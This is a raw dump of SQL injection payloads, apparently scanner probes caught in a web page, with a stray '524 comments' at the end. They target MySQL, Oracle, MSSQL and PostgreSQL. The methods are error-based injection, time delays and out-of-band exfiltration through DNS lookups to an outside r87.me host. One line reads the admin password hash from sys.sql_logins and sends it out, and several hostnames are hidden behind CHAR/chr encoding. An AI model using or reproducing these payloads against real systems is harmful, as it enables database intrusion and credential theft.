-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"
(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))
'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'
-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand(0)*2))x from INFORMATION_SCHEMA.COLLATIONS group by x limit 1))-- 1
(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)
declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.xdz46g3s_wdy0gdepgaiccstr5_pz63gazof_m60'+'luw.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')
cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(120)||chr(100)||chr(122)||chr(52)||chr(54)||chr(103)||chr(51)||chr(115)||chr(95)||chr(119)||chr(117)||chr(49)||chr(117)||chr(110)||chr(115)||chr(98)||chr(112)||chr(45)||chr(98)||chr(111)||chr(112)||chr(106)||chr(95)||chr(105)||chr(118)||chr(109)||chr(110)||chr(121)||chr(52)||chr(104)||chr(97)||chr(113)||chr(117)||chr(105)||chr(117)||chr(101)||chr(111)||chr(48)||chr(105)||chr(52)||chr(119)||chr(115)||chr(101)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)
(select UTL_INADDR.GET_HOST_ADDRESS(chr(120)||chr(100)||chr(122)||chr(52)||chr(54)||chr(103)||chr(51)||chr(115)||chr(95)||chr(119)||chr(105)||chr(55)||chr(48)||chr(118)||chr(105)||chr(118)||chr(98)||chr(103)||chr(112)||chr(97)||chr(48)||chr(119)||chr(105)||chr(122)||chr(103)||chr(121)||chr(109)||chr(117)||chr(99)||chr(106)||chr(109)||chr(100)||chr(100)||chr(112)||chr(53)||chr(109)||chr(112)||chr(99)||chr(121)||chr(51)||chr(97)||chr(105)||chr(121)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)
(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(120)||chr(100)||chr(122)||chr(52)||chr(54)||chr(103)||chr(51)||chr(115)||chr(95)||chr(119)||chr(48)||chr(120)||chr(101)||chr(101)||chr(111)||chr(108)||chr(52)||chr(105)||chr(95)||chr(114)||chr(116)||chr(106)||chr(113)||chr(107)||chr(45)||chr(102)||chr(104)||chr(100)||chr(110)||chr(117)||chr(98)||chr(111)||chr(101)||chr(104)||chr(104)||chr(111)||chr(51)||chr(106)||chr(120)||chr(49)||chr(122)||chr(98)||chr(121)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))
'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(120)||chr(100)||chr(122)||chr(52)||chr(54)||chr(103)||chr(51)||chr(115)||chr(95)||chr(119)||chr(112)||chr(103)||chr(122)||chr(108)||chr(109)||chr(104)||chr(119)||chr(99)||chr(109)||chr(53)||chr(107)||chr(119)||chr(101)||chr(95)||chr(120)||chr(55)||chr(110)||chr(111)||chr(99)||chr(104)||chr(54)||chr(95)||chr(107)||chr(99)||chr(122)||chr(48)||chr(110)||chr(110)||chr(49)||chr(48)||chr(52)||chr(119)||chr(115)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||'
524 comments